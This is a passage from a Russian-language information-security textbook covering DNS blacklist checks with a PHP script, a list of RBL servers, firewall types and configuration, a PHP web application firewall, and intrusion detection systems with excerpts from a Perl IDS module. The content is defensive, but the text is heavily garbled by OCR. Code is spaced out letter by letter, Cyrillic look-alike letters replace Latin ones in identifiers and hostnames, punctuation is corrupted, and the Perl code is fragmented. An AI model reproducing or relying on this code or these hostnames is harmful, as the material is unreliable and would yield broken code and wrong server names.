чтобы его вычеркнули из этого списка. 

Однако в черные списки также обычно добавляют IР-адреса, ко
торые не могут принадлежать почтовым серверам. Например, это 
пулы динамических адресов,  используемые провайдерами для до
ступа в Интернет. 

Это позволяет значительно увеличить скорость обработки писем и 
повысить эффективность работы антиснам-системы в целом. 

В качестве примера приведу небольшой сценарий на языке РНР, 
который проверяет IР-адрес на принадлежность к черным спискам 
наиболее распространенных списков. 

Для работы данного сценария необходимо наличие модуля NET _ 
DNSBL (команда: pear install NET_DNSBL).  

< ? p h p  

req u i re_o n c e ( ' N et/DN S B L . p h p ' ) :  

$ i p l i s t  = f i l e (  " /path/to/ip l i st " ) :  



fo reach  ( $ i p l i s t  as $ i p ) { 

$ d n s Ы  = n ew N et_D N S B L ( ) ;  

$ d n s Ы - > s e t B l a c k l i st s ( a r ray (  

' s Ы - x Ы . s p a m h a u s . o rg · 

' d n s Ы . s o r b s . n e t ' .  

· ы . s pamcop . n e t ' .  

' d n s Ы - 1 . u c e p rotect . n et ' ,  

' d n s Ы - 2 . u c e p rotect . n et ' ,  

' d n s Ы - 3 . u c e p rotect . n et ' ,  

' i s p s . s p a m Ь l o c ked . cam · 

' ze n . s p am h a u s . o rg · 

) ) ; 

i f  ( $d n s Ы - > i s li s t e d  ( $ i p ) )  

e c h o  " I P  $ i p  i s  Ь l a c k l i sted  ! \ n " ;  

e l s e  

e c h o  " I P  $ i p  n o t  l i sted\n " :  

? >  
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При необходимости сценарий может быть модифицирован для 
получения IР-адресов из базы данных или из переменной $ip в за
просах GET или РОSТ. Вот небольшой список серверов RBL, кото
рые можно использовать для проверки адресов на принадлежность 
к рассылкам снама: 

О asiaspam.spamЫocked.com 
О Ы.deadbeef.com 
О Ы.emailbasura.org 
О Ы.spamcop.net 
О Ьlackholes.five-ten-sg.com 
О Ьlacklist.woody.ch 
О bogons.cymru.com 
О cЫ.abuseat.org 
О cdl.anti-spam.org.cn 
О comЬined.abuse.ch 
О comЬined.rЫ.msrЫ.net 
О db.wpЫ.info 
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О dnsЫ- 1 .uceprotect.net 
О dnsЫ-2.uceprotect.net 
О dnsЫ-3.uceprotect.net 
О dnsЫ.abuse.ch 
О dnsЫ.ahЫ.org 
О dnsЫ.cyberlogic .net 
О dnsЫ. inps.de 
О dnsЫ.njaЫ.org 
О dnsЫ.sorbs.net 
О drone.abuse.ch 
О duinv.aupads.org 
О dul.dnsЫ.sorbs.net 
О dul.ru 
О dyna.spamrats.com 
О dynip.rothen.com 
О eurospam.spamЫocked.com 
О fl.chickenboner. Ьiz 
О http.dnsЫ.sorbs.net 
О images.rЫ.msrЫ.net 
О ips.backscatterer.org 
О isps.spamЫocked.com 
О ix.dnsЫ.manitu.net 
О korea.services.net 
О lacnic.spamЫocked.com 
О misc.dnsЫ.sorbs.net 
О noptr.spamrats.com 
О ohps.dnsЫ.net.au 
О omrs.dnsЫ.net.au 
О orvedb.aupads.org 
О osps.dnsЫ.net.au 
О osrs.dnsЫ.net.au 
О owfs.dnsЫ.net.au 
О owps.dnsЫ.net.au 
О pЬl.spamhaus.org 
О phishing.rЫ.msrЫ.net 
О probes.dnsЫ.net.au 
О proxy.Ьl.gweep.ca 
О proxy.Ьlock.transip.nl 
О psЫ.surriel.com 
О rЫ.interserver.net 



О rdts.dnsЫ.net.au 
О relays.Ьl.gweep.ca 
О relays. Ы.kundenserver.de 
О relays.nether.net 
О residential .Ыock.transip.nl 
О ricn.dnsЫ.net.au 
О rmst.dnsЫ.net.au 
О sЫ.spamhaus.org 
О short.rЫ.jp 
О smtp.dnsЫ.sorbs.net 
О socks.dnsЫ.sorbs.net 
О spam.dnsЫ.sorbs.net 
О spam.rЫ.msrЫ.net 
О spam.spamrats.com 
О spamlist.or.kr 
О spamrЫ.imp.ch 
О tЗdirect.dnsЫ.net.au 
О tor.ahЫ.org 
О tor.dnsЫ.sectoor.de 
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О torserver. tor.dnsЫ.sectoor.de 
О uЫ.lashback.com 
О uЫ.unsubscore.com 
О virЫ.Ьit.nl 
О virus.rЫ.jp 
О virus.rЫ.msrЫ.net 
О web.dnsЫ.sorbs.net 
О wormrЫ. imp.ch 
О xЫ.spamhaus.org 
О zen.spamhaus.org 

Система проверки на принадлежность к черным спискам произ 
водит проверку IР-адреса отправителя сообщения еще до установки 
соединения и, соответственно, не производит никакой нагрузки на 
сами почтовые серверы. При этом она совместима со всеми почтовы
ми серверами на любой платформе и минимальным образом влияет 
на скорость работы с почтой: для пользователя факт дополнительной 
проверки практически незаметен. 

Помимо черных списков, существуют также механизмы проверки 
содержимого сообщений на принадлежность к снаму, действующие 
но тем же принципам, что и антивирусные системы, описанные 
выше. 
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Заключение 
В этом разделе мы достаточно подробно рассмотрели вопросы, свя
занные с антивирусной защитой и защитой от нежелательной почты. 
Стоит отметить, что сейчас антивирусная защита является неотъем
лемой частью практически каждой корпоративной системы обеспе
чения информационной безопасности. Однако перейдем к рассмотре
нию других средств защиты информации. 

7.2 . Межсете в ые экран ы 

Межсетевой экран - это комплекс аппаратных или программных 
средств, осуществляющий контроль и фильтрацию проходящих через 
него сетевых пакетов в соответствии с заданными правилами. 

Межсетевые экраны подразделяются на несколько видов в зависи
мости от следующих характеристик: 

О обеспечивает ли экран соединение между одним узлом и сетью 
или между двумя или более различными сетями; 

О на уровне каких сетевых протоколов происходит контроль по
тока данных; 

О отслеживаются состояния активных соединений или нет. 

В зависимости от охвата контролируемых потоков данных сетевые 
экраны делятся на: 

О традиционный межсетевой экран - программа на птюзе (сер
вере, передающем трафик между сетями) или аппаратное реше
ние, контролирующие входящие и исходящие потоки данных 
между подключенными сетями; 

О персональный сетевой экран - программа, установленная на 
пользовательском компьютере и предназначенная для защиты 
от несанкционированного доступа только этого компьютера. 

В зависимости от уровня, на котором происходит контроль досту
па, существует разделение на сетевые экраны, работающие на: 

О сетевом уровне, когда фильтрация происходит на основе адре
сов отправителя и получателя пакетов,  номеров портов транс
портного уровня модели OSI и статических правил, заданных 
администратором; 

О сеансовом уровне (также известные как stateful) - отслежи
вающие сеансы между приложениями, не пропускающие паке
ты нарушающих спецификации ТСР /IP, часто используемых 
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в злонамеренных операциях - сканировании ресурсов, взломах 
через неправильные реализации ТСР /IP, обрыв/замедление со
единений, инъекцию данных; 

О уровне приложений, фильтрация на основании анализа данных 
приложения, передаваемых внутри пакета. Такие тины экранов 
позволяют блокировать передачу нежелательной и потенциаль
но опасной информации на основании политик и настроек. 

Некоторые решения, относимые к межсетевым экранам уровня 
приложений, представляют собой специализированные нрокси-сер
веры. По сути, это прозрачные нрокси-серверы с возможностями 
межсетевого экрана и специализацией но протоколам. Возможности 
нрокси-сервера и многонротокольная специализация делают филь
трацию значительно более гибкой, чем на классических сетевых экра
нах, но такие приложения имеют все недостатки нрокси-серверов 
(например, анонимизация трафика). 

В зависимости от отслеживания активных соединений сетевые 
экраны бывают: 

О stateless (простая фильтрация),  которые не отслеживают теку
щих соединений (например, ТСР),  а фильтруют ноток данных 
исключительно на основе статических правил; 

О stateful, stateful packet inspection ( SPI) (фильтрация с учетом 
контекста), с отслеживанием текущих соединений и пропуском 
только таких пакетов, которые удовлетворяют логике и алго
ритмам работы соответствующих протоколов и приложений. 
Такие тины сетевых экранов позволяют эффективнее бороться 
с различными видами DоS-атак и уязвимостями некоторых се
тевых протоколов . Кроме того, они обеспечивают функциони
рование таких протоколов , как Н.323, SIP, FTP и т. н . ,  которые 
используют сложные схемы передачи данных между адресата
ми, плохо поддающиеся описанию статическими правилами и 
зачастую несовместимые со стандартными, stateless сетевыми 
экранами. 

Основной задачей сетевого экрана является защита компьютерных 
сетей или отдельных узлов от несанкционированного доступа. Так
же сетевые экраны часто называют фильтрами, так как их основная 
задача - не пропускать (фильтровать) пакеты, не подходящие под 
критерии, определенные в конфигурации. Большинство современных 
межсетевых экранов предлагают вам следующее: 

О систему обнаружения вторжений; 
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О антивирус для поиска известных сигнатур вирусов в трафике 
(как правило, необязательный элемент, вы можете приобрести 
межсетевой экран без этой опции) ;  

О средство контроля целостности файлов на  вашем компьютере; 
О дополнительно могут предлагаться различные средства для 

маршрутизации трафика, а также для нроксирования тра
фика. 

7.2. 1 .  Принципы работы межсетевых экранов 

Основная задача межсетевого экрана - это зашита вашей сети или 
компьютера от угроз, исходящих из Интернета. Рассмотрим более 
подробно принцип работы межсетевых экранов. 

Как известно, каждый компьютер в сети имеет свой IР-адрес. Ин
формация но сети передается с помощью IР-накетов. При передаче 
информации каждый IР-накет содержит в себе IР-адрес отправителя 
и IР-адрес получателя. Соответственно, но IР-адресам пакеты нахо
дят своих получателей. Однако на одном компьютере, как правило, 
работает много программ, и большинству из них нужен доступ в сеть. 
Для того чтобы программы могли взаимодействовать но сети, в со
ответствии со стандартами они используют специальные протоко
лы. Например, для работы электронной почты требуется протокол 
SMTP ( Simple Mail Transfer Protocol, простой протокол пересыл
ки почты),  для работы веб-браузера - протокол НТТР ( Hyper Text 
Transfer Protocol, протокол передачи гипертекста) и т. д. Каждый из 
этих протоколов использует определенные сетевые порты, номера 
которых также указаны в стандартах. Например, для SMTP это порт 
25, для НТТР - порт 80. Так вот различные вредоносные програм
мы, такие как сетевые черви и троянские кони, также используют 
сетевые порты и протоколы для проникновения на машины своей 
жертвы, заражения других машин в сети и передачи взломщикам 
конфиденциальных данных с вашего компьютера. Поэтому все не ис
пользуемые для непосредственной работы вашего компьютера порты 
и протоколы необходимо закрывать межсетевым экраном. Межсете
вой экран является специальной программой, которая контролирует 
подключения но сетевым портам к вашему компьютеру. Межсетевой 
экран осуществляет контроль портов на основании правил доступа. 
Правила определяют, но каким портам и протоколам разрешено под
ключение, а но каким запрещено. 
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Настройка межсетевых экранов 
Теперь поговорим о настройке межсетевых экранов. Процесс на
стройки, в отличие от процесса установки межсетевого экрана, бывает 
довольно сложным. Кроме того, правила межсетевого экранирова
ния у разных производителей имеют норой разную структуру. В од
них межсетевых экранах применяется первое подходящее правило, 
в других применяется правило с наибольшим приоритетом. Грамот
но настроить межсетевой экран может только человек, обладающий 
определенным уровнем знаний сетевых технологий и принципов 
взаимодействия приложений в сети Интернет. 

Есть два способа настройки межсетевых экранов:  

О не разрешено все,  что запрещено ; 
О не запрещено все, что разрешено. 

В нервом случае все программы, которым явным образом, с по
мощью конкретных правил не запрещен доступ в сеть, могут туда 
выходить и отправлять или получать любые данные. Во втором слу
чае все программы, которым явно не прописан доступ в Интернет, не 
смогут выходить в сеть и обмениваться данными. У многих начинаю
щих пользователей но неопытности возникает соблазн разрешить 
всем программам доступ в Интернет, потом, �набивая шишки� в виде 
проблем с безопасностью, они начинают судорожно закрывать раз
личным сомнительным приложениям доступ в сеть. Такой подход в 
корне неверен. Он подобен латанию дыр в мешке. Гораздо лучше, ког
да у вас изначально всем программам запрещен доступ в сеть. Когда 
какая-либо программа в первый раз обращается к сети, ваш межсе
тевой экран спрашивает, нужно ли ей разрешить доступ. Например, 
когда вы открыли браузером и пытаетесь соединиться с каким-либо 
сайтом в Интернете. Таким образом, через какое-то время вы настрои
те доступ к сети всем нужным программам и сможете безопасно ра
ботать в Интернете, не отвлекаясь на сообщения межсетевого экрана. 

При использовании персонального межсетевого экрана вам само
стоятельно приходится следить за состоянием антивирусной систе
мы, настройками файрвола и другими элементами системы защиты. 
Также мало кто работает на домашнем компьютере или ноутбуке под 
учетной записью, лишенной административных привилегий. Если 
говорить точнее, то большинство пользователей просто используют 
одну учетную запись, созданную при установке операционной систе
мы и не имеющую пароля. Такая запись но умолчанию обладает ад
министративными нравами. В качестве решения я не буду предлагать 
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работать под учетной записью, не имеющей административных нрав, 
так как это все равно бесполезно. Но в Windows Vista и в Windows 7 
для борьбы с этим появилась специальная служба - контроль поль
зовательского доступа ( User Access Control) ,  которая предупреждает 
пользователя каждый раз, когда какое-либо приложение пытается 
выполнить потенциально опасное действие. Настоятельно рекомен
дую на домашнем компьютере не отключать данную службу, так как 
она поможет вам защитить вашу систему как от непрошеных гостей, 
так и от небезопасных действий пользователя, которые зачастую 
опаснее любых вирусов. 

7.2.2. Аппаратные и программные МЭ 

Продолжая тему межсетевых экранов, хочу обратить внимание также 
на аппаратные решения но межсетевому экранированию. В частно
сти, многие модели сетевого оборудования, такие как Cisco, D- Link, 
Zyxel, TrendNET и др. ,  занимаются производством аппаратных меж
сетевых экранов. Как правило, функция межсетевого экранирования 
встроена в беспроводные точки доступа, АD SL-модемы или марш
рутизаторы. 

Еще одно замечание но поводу межсетевых экранов. В последнее 
время большую популярность приобрели комплексные решения, 
включающие в себя и межсетевой экран, и антивирус . Зачастую та
кие решения представляют из себя хороший антивирус и слабый 
брандмауэр или, наоборот, мощный файрвол и не слишком мощный 
антивирус. 

Межсетевые экраны имеют различный интерфейс и различную си
стему команд конфигурирования. Однако принципы их работы, как 
правило, одинаковы. Поэтому я не буду приводить здесь примеров 
настройки какого-то конкретного межсетевого экрана. 

Тем, кто интересуется внутренним устройством программных меж
сетевых экранов , рекомендую ознакомиться с исходным кодом МЭ 
iptaЫes, который можно найти на  сервере ftp://ftp.netfilter.org/puЬ/ 
iptaЫes/iptaЬles- 1 . 4. 1 .  tar. bz2. 

7.2. З. Специальные МЭ 

Помимо классических межсетевых экранов, как программных, так и 
аппаратных, о которых шла речь выше, существуют также и специаль
ные решения, предназначенные для фильтрации только определен
ного трафика. Примерами таких межсетевых экранов являются 
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Web Applications Firewall и МЭ для баз данных. Первые фильтруют 
трафик, предназначенный для веб-нриложений, а вторые - для баз 
данных. Отличительной особенностью таких МЭ является глубокий 
анализ обрабатываемого трафика. То есть анализируются запросы 
клиентов и ответы серверов на предмет реализации различных угроз, 
уязвимостей и потенциально опасных действий. 

В качестве примера такого специального межсетевого экрана я 
приведу Web Applications Firewall, написанный на РНР. Этот скрипт 
поддерживает РНР 5,  не нуждается в базе данных, прост в использо
вании. РНР Firewall имеет свою систему сбора информации (логи), 
а также модуль е-mаil-оновещения о тревоге. Скрипт можно использо
вать для всех видов СМС, блогов, форумов и других веб-нриложений. 

Данный PHP-firewall осуществляет: 

О защиту XSS; 
О защиту от UNION SQL-инъекций ; 
О защиту от DOS ;  
О защиту include; 
О защиту от червей; 
О серверную защиту (не проверено) ;  
О защиту U RL-зaнpoca; 
О профилактику Cookies; 
О профилактику запросов POST, GET; 
О запрет на сканирование IP; 
О блокировку снама с определенного IP;  
О комплексную защиту IP;  
О сброс глобальных переменных РНР. 

Для установки данного скрипта на сайте необходимо выполнить 
следующие действия: 

О создать нанку, например php-firewall/ в корне сайта; 
О выставить необходимые нрава доступа на файл php-firewall/ 

logs.txt (например, 755) ;  
О добавить строки в основной код страницы сайта. 

< ? p h p  d e f i n e ( ' Р Н Р  _FIR EWA L L_R EOU EST _URI . . st ri p_tag s (  $_SERVE R [ . R EOU EST _U R I . ] ) ) ; 
d e f i n e ( . Р Н Р  _ F I R EWA L L_ACТIVAТION . , t r u e  ) ; 

i f  ( i s_fi l e (  @d i r n a m e (  __ F I L E  __ ) .  ' / p h p - f i rewa l l / f i rewal l . p h p ' ) ) 

i n c l u de_o n c e (  @d i r n am e ( __ FI LE __ ) .  · / p h p - f i  rewall/fi  rewa l l . p h p  · ) ; ? >  

Для деактивации РНР Firewall редактируйте строку: 

d e f i n e (  P H P  _ F I R EWA L L_ACТIVAТION  , f a l s e  ) ; 
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Вы можете активировать/деактивировать большинство функций 
защиты в РНР Firewall. Для этого необходимо открыть файл php
firewall/firewall. php. Все параметры, находящиеся между строками 23 
и 39 и которые имеют true/false, можно редактировать, соответствен
но включая/отключая их. 

d e f i n e (  · Р Н Р  _ F I R EWAL L_AD М I N _MAI L · ,  " ) :  // н а п и ш ите с в о ю  электронную почту ,  и Р Н Р  

Fi rewa l l  о п о в естит о несанкцион и ро в а н 

ном  досту п е  

d e f i n e ( ' P H P_ F I R EWA L L_PU S H _MAI L ' , f a l s e  ) ;  // отч ет работы с и стемы н а  эл е ктронную 

п о чту 

d e f i n e (  · Р Н Р  _ F I R EWA L L_ LOG_ F I L E  · ,  ' l o g s  · ) :  // н а з в а н и е  файла  сбора  стат и ст и к и  

' l o g s  · дл я Р Н Р  Fi  rewa l l  

d e f i n e ( ' P H P_ F I R EWA LL_PROTECTI O N _ R A N G E_ I P_ D E N Y ' t r u e  ) :  // блокатор з анятых I P  

d e f i n e ( ' P H P_ F I R EWA LL_PROTECT I O N _RAN G E_I P_S PдM · .  t r u e  ) :  // блокатор I Р - с п а м е р о в  

d e f i n e ( . P H P  _ F I R EWA LL_PROTECТIO N_U R L . , t r u e  ) ; // U R L - з ащита 

d e f i n e ( . Р Н Р  _ F I R EWA LL_PR OTECТI O N _ R EQUEST _SERVER . .  t rue ) : // з ащита з а п росов  

d e f i n e ( . Р Н Р  _ F I R EWALL_PROTECТION _SANTY . ,  t r u e  ) ; // з ащита от  ч е р в я  

d e f i n e ( ' P H P_ F I R EWA LL_PROTECTION_вoтs · ,  t r u e  ) :  // з ащита о т  бото в 

d e f i n e ( . Р Н Р  _ F I R EWA LL_PR OTECТI O N _ R EQUEST _MET H O D . .  t r u e  ) : // Bad method  p rotection  

d e f i n e ( ' P H P_ F I R EWA LL_PROTECTION_oos · ,  t r u e  ) ;  // Mi ni  d о s - з ащита 

d e f i n e ( ' P H P_ F I R EWA LL_PROTECT I O N _U N I O N_SQ L ' ,  t r u e  ) ;  // з ащита от s q l - инъе к ц и й  

d e f i n e ( ' P H P_ F I R EWA LL_PROTECT I O N _C LICK_ATTAC K ' ,  t r u e  ) ; // в ключ ает з ащиту файл о в  

d e f i n e ( . Р Н Р  _ F I R EWA LL_PR OTECТI O N _XSS_AПAC K . ,  t r u e  ) ; / /  з ащита о т  XSS 

d e f i n e ( ' P H P_ F I R EWA LL_PROTECTI O N _COO K I ES ' .  t r u e  ) :  // з ащита c o o k i e s  

d e f i n e ( ' P H P_ F I R EWA LL_PROTECT I O N _POST ' ,  t r u e  ) ;  // з ащита POST va r s  

d e f i n e ( . P H P  _ F I R EWA LL_PR OTECТI ON_GET ' , t r u e  ) ; // з ащита G ET v a r s  

Сценарии подобного тина обеспечивают простейшую защиту веб
нриложений. Для реализации более мощной защиты, как правило, 
требуется аппаратное решение, например Imperva Web Applications 
Firewall. 

7.3 . С редства об наружен ия 
и п редотвраще н ия вторже н и й 

7.З. 1 .  Системы IDS/IPS 

Одним из дополнительных средств защиты, получивших широкое 
развитие в последние годы, являются системы обнаружения вторже
ний ( Intrusion Detection System, IDS) .  

Система обнаружения вторжений (СОВ) - это программное или 
аппаратное средство, предназначенное для выявления фактов неав-
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торизованного доступа в компьютерную систему или сеть либо не
санкционированного управления ими в основном через Интернет. 

Системы обнаружения вторжений используются для обнаружения 
некоторых типов вредоносной активности, которая может нарушить 
безопасность компьютерной системы. К такой активности относятся 
сетевые атаки против уязвимых сервисов,  атаки, направленные на 
повышение привилегий, неавторизованный доступ к важным файлам, 
а также действия вредоносного программного обеспечения (компью
терных вирусов, троянов и червей) .  

Обычно архитектура СОВ включает: 

О сенсорную подсистему, предназначенную для сбора событий, 
связанных с безопасностью зашищаемой системы; 

О подсистему анализа, предназначенную для выявления атак и 
подозрительных действий на основе данных сенсоров;  

О хранилище, обеспечивающее накопление первичных событий и 
результатов анализа; 

О консоль управления, позволяющую конфигурировать С О В, 
наблюдать за состоянием защищаемой системы и СОВ,  про
сматривать выявленные подсистемой анализа инциденты. 

Существуют несколько способов классифицировать СОВ в зави
симости от тина и расположения сенсоров, а также методов,  исполь
зуемых подсистемой анализа для выявления подозрительной актив
ности. Во многих простых СОВ все компоненты реализованы в виде 
одного модуля или устройства. 

Виды систем обнаружения вторжений 
В сетевой СОВ сенсоры расположены на важных для наблюдения 
точках сети, часто в демилитаризованной зоне, или на границе сети. 
Сенсор перехватывает весь сетевой трафик и анализирует содержимое 
каждого пакета на наличие вредоносных компонентов.  Протокольные 
СОВ используются для отслеживания трафика, нарушающего пра
вила определенных протоколов либо синтаксис языка (например, 
SQL). В хостовых СОВ сенсор обычно является программным аген
том, который ведет наблюдение за активностью хоста, на который 
установлен. Также существуют гибридные версии перечисленных 
видов СОВ. 

Сетевая СОВ (Network-based IDS, NIDS) отслеживает вторже
ния, проверяя сетевой трафик, и ведет наблюдение за несколькими 
хостами. Сетевая система обнаружения вторжений получает доступ 
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к сетевому трафику, подключаясь к копцептратору или коммутатору, 
пастроеппому па зеркалировапие (SPAN) портов, либо сетевому ТАР
устройству. Примером сетевой СОВ является Snort, Cisco IDS и др. 

Основанное на протоколе СОВ (Protocol-based IDS, PIDS) пред
ставляет собой систему (либо агепта), которая отслеживает и апа
лизирует коммупикациоппые протоколы со связаппыми системами 
или пользователями. Для веб-сервера подобпая СОВ обычпо ведет 
паблюдепие за НТТР- и НТТРS-протоколами. При использовапии 
HTTPS СОВ должпа располагаться па таком иптерфейсе, чтобы про
сматривать НТТРS-пакеты еще до их шифровапия и отправки в сеть. 

Основанная на прикладных протоколах СОВ (Application 
Protocol-based IDS, APIDS) - это система (или агепт), которая ве
дет паблюдепие и апализ даппых, передаваемых с использовапием 
специфичпых для определеппых приложепий протоколов. Например, 
па веб-сервере с SQL-базой даппых СОВ будет отслеживать содер
жимое SQL-комапд, передаваемых па сервер. Здесь будет уместпа 
апалогия со специальпыми межсетевыми экрапами, которые также 
осуществляют коптроль только трафика, предпазпачеппого для опре
делеппых приложепий. 

Узловая СОВ (Host-based IDS, HIDS) - система (или агепт) ,  
расположеппая па  хаете, отслеживающая вторжепия, с использова
пием апализа системпых вызовов, логов приложепий, модификаций 
файлов (исполпяемых, файлов паролей, системпых баз даппых), со
стояпия хоста и прочих источпиков. Примером является решепие па 
оспове свободпого ПО OSSEC. 

Гибридная СОВ совмещает два и более подходов к разработке СО В. 
Даппые от агептов па хостах комбипируются с сетевой ипформацией 
для создапия паиболее полпого представлепия о безопаспости сети. 
В качестве примера гибридпой СОВ можпо привести Prelude. 

В пассивпой С О В  при обпаружепии парушепия безопаспости 
ипформация о парушепии записывается в лог приложепия, а также 
сигпалы опаспости отправляются па копсоль и/или адмипистратору 
системы по определеппому капалу связи. В активпой системе, также 
известпой как система предотвращепия вторжепий ( IPS - Intrusion 
Prevention system (апгл.)) ,  СОВ ведет ответпые действия па пару
шепие, сбрасывая соедипепие или перепастраивая межсетевой экрап 
для блокировапия трафика от злоумышлеппика. Ответпые действия 
могут проводиться автоматически либо по комапде оператора. 

В качестве примера исходпого кода для системы обпаружепия 
вторжепий я приведу СОВ,  паписаппую па Perl и предпазпачеппую 
для обпаружепия вторжепий па веб-сайт. 
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# I N PUT 

# HASH  

# f i l t e r s  f i l e  

s h i p ped  I D S . xтl ) 

STR I N G  The  path  to t h e  f i l t e  rs XM L f i l e  ( d e f a u l t s  to  

# w h i t e l i st_fi l e  STR I N G  T h e  path  to t h e  w h i t e l i s t  XM L f i l e  

# s ca n_keys  

# d i saЬle_filte r s  

d i sa Ь l e d  

# OUTPUT 

I N T  1 to scan also the key s ,  О i f  n o t  ( d e f a u l t : О )  

A R R AY R E F [ I N T .  I N T ,  . . .  ] i f  g iven , t h e s e  f i l t e r i d s  wi l l  Ье 

# IDS ob j e c t . d i e s  ( c ro a k s )  if n o  f i l t e r r u l e  c o u l d  Ье  loaded  

# EXAM P L E  

# # i n stantiate  ob j e c t : do n o t  s c a n  key s .  val u e s  o n ly 

# ту $ i d s  = new  CGI : : I D S (  

# f i l  te r s_  f i l e  => · /hoтe/h i n n e  rk/sand box/id s/cg i - bin/defaul  t_fil te r .  хтl · ,  

# whi  t e l i st_ f i l e  = >  · /hoтe/h i n n e  rk/sand box/id s/cg i - bin/pa raт_wh i telist . хтl · 

# s ca n_keys  => О ,  

# d i saЬle_filte r s  => [ 5 8 , 5 9 , 60 ] .  

# ) : 

# * * * *  

= head2  new ( ) 

C o n s t r u c t o r .  Сап  o p t i o n a l l y  take  а h a s h  of sett i n g s .  If I < f i l t e rs_f i l e >  i s  n o t  

g i ve n . t h e  s h i p p e d  f i l t e r s e t  wi l l  Ье  loaded , I < s can_keys>  d e f a u l t s  to  О .  

T he  f i l t e r set  a n d  w h i t e l i s t  wi l l  stay loaded  d u ri n g  t h e  l i fetiтe  o f  t h e  

ob j ect . 

Yo u  тау c a l l  C<detect_attac ks ( ) >  т u l t i p l e  t i тe s ,  t h e  attack  a r ray ( C<get_  

atta c k s ( ) > )  wi l l  Ье eтptied  at t h e  sta rt o f  each  r u n  o f  C<detect_attac ks ( ) > .  

Fo r ехат р l е .  t h e  followi n g  i s  а valid  c o n s t r u c t o r :  

ту $ i d s  = new  CGI : : I D S (  

) : 

f i l  te  r s_  f i l e  

wh i t e l i st_f i l e  

scan_keys  

d i saЬle_  fil  t e  r s  

=> ' / hoтe/h i n n e r k/id s/d e f a u lt_filte r . xт l ' ,  

=> · / hoтe/h i n n e r k/ i d s/pa raт_whi  t e l i s t . хтl  · ,  

=> О ,  

=> [ 5 8 , 5 9 . 60 ] ,  

T he  C o n s t  r u c t o  r d i e s  ( с  roaks ) i f  n o  f i l t e  r r u l e  c o u l d  Ь е  loaded . 

=c u t  

s u b  n e w  

ту ( $ p a c kag e .  % а  rg s )  @ · 

# d e f a u l t s  

$a rg s { scan_key s }  = $ a rg s { s ca n_key s }  ? 1 О ;  

т у  $ f i l t e rs_file_d e f a u l t  = _ _  F I L E  _ _  : 

$ f i l t e r s_file_d e f a u l t  = - s/IDS . pт/IDS . xт l / :  
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# s e l f  membe r v a r i a Ь l e s  

my $ s e l f  = { 

f i l  te  r s_  f i l e  

wh i t e l i s t  

$a rg s { wh i t e l i st_f i l e } ) .  

s can_keys  

i m pact  

atta c k s  

f i l  te r s  

f i l  te  r _ d i s a Ь l e d  

} ;  

=> $a rg s { f i l t e r s_f i l e } 1 1  $ f i l t e r s_file_defa u l t , 

=> CGI : : I DS : : Wh i t e l i s t - > n e w ( w h i t e l i st_file  => 

=> $a rg s {  s ca n_keys } ,  

=> О ,  

= >  u n d e f ,  # [ ]  

=> [ ] .  

=> { map { $_ => 1 }  @ { $ a rg s { d isaЬle_filte r s }  1 1  [ ] }  } ,  

i f  ( D EB UG_MO D E  & D EBUG_WH ITELIST)  { 

u s e  Dat a : : D u m p e r :  p ri n t  D u m p e r ( $ s e l f - > { wh i t e l i st } - > { wh i t e l i s t }  ) ;  

# с reate  ob j  e c t  

Ь l e s s  $ s e l f .  $ p a c kag e ;  

# read  & pa rse  f i l t e r XM L 

i f  ( 1 $ s e l f - >_load_fi lte r s_f rom_xm l ( $ s e l f - > { f i l t e rs_fi l e } ) )  

c roak  " N o  I DS f i l t e r r u l e s  loaded ! " ;  

r etu r n  $ s e l f : 

# • • • • m •  I DS/dete ct_atta c k s  

# N A M E  

# d e tect_at t a c k s  

# DESC R I PТ I O N  

# P a r s e s  а h a s h ref  ( e . g .  $ q u e ry->Va r s )  fo r d e t e c t i o n  of p o s s i Ы e  attacks . 

# The  attack  a r ray i s  emptied  at t h e  sta rt of each  r u n . 

# I N PUT 

# + re q u e s t  

# OUTPUT 

h a s h  ref  t o  Ье p a r sed  

# I m pact  i f  f i l t e r matched . О o t h e rwi s e  

# S Y N O P S I S  

# $ i d s - > d e t e c t_att a c k s ( r e q u e s t  => $ q u e ry->Va r s ) : 

# * * * *  

= h e a d 2  detect_attac k s ( )  

DESCR I PТ I O N  

P a r s e s  а h a s h ref  ( е .  g .  $ q u e ry->Va r s )  fo r d e t e c t i o n  of  p o s s i Ь l e  attacks . 

T he  attac k a r ray i s  emptied  at t h e  s t a rt of e a c h  r u n . 

I N PUT 

+ re q u e s t  

OUTPUT 

h a s h  ref  to  Ье  ра  r sed  

I m pact  i f  f i l t e  r matc h e d , О o t h e  rwi se  



СРЕДСТВА О БНАРУЖЕНИЯ  И П Р ЕДОТВРАЩ ЕНИЯ  ВТОРЖЕ Н И Й 303 

S Y N O P S I S  

$ i d s - >d etect_attac k s ( req u e s t  => $ q u e ry->Va r s ) :  

=c u t  

s u b  d etect_attac k s  

my ( $ s e l f , %a rg s )  = @_ ; 

r etu r n  О u n l e s s  ( $a rg s { req u e s t } ) :  

my $ re q u e s t  = $ a rg s {  req u e st } : 

# r eset  l a s t  d e t e c t i o n  data  

$ s e l f - > { impact } 

$ s e l f - > { attac k s }  

$ s e l f - > { f i l t e red_key s }  

$ s e l f - > { n o n_filte red_key s }  

= О :  

= [ ] :  

= [ ] :  

= [ ] :  

my @req u e s t_keys  = keys  %$ r e q u e s t : 

# s o rt i n g  fo r f i l t e r d e b u g g i n g  o n l y  

i f  ( D EB UG_MO D E  & D EBUG_SO RT_KEYS_A L P H A )  

@ r e q u e st_keys = s o r t  { $ а c m p  $ Ь }  @req u e st_key s :  

e l s i f  ( D EBUG_MO D E  & D E BUG_SORT_KEYS_ N U M ) { 

@ r e q u e st_keys = s o r t  { $ а <=> $ Ь }  @req u e st_key s :  

f o  reach  my $key  ( @ r e q u e st_key s )  

my $ f i l t e r_impact  О ;  

my $ key_conve rted  

my $va l u e  c o n ve rted  = 
" 

my $ t 1 m e  ms О ;  

my @ma t c h ed_fi lte r s  = ( ) :  

my @mat c h e d_tag s ( ) :  

my $ re q u e st_va l u e  = d e f i n e d  $ re q u e s t - > { $key }  ? $ re q u e s t - > { $ k e y }  

i f  ( DEBUG_M O D E  & D EBUG_KEY _ VALUES ) { 

p ri n t  ' ' \ n\n\ П * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * \ n · · . 

" Кеу $ key\nVa l u e  $ r e q  u e st_ value\n " :  

i f  ( $ s e l  f - > { wh i t e l i st } - > i s _ s u s p i c i o u s ( key => $ key . req u e s t  => $ re q u e s t ) )  

$ re q u e st_va l u e  = $ s e l f - > { wh i t e l i s t } - >conve rt_if_m a r ked_e n coded ( key 

=> $key , v a l u e  => $ req u e st_ val u e ) :  

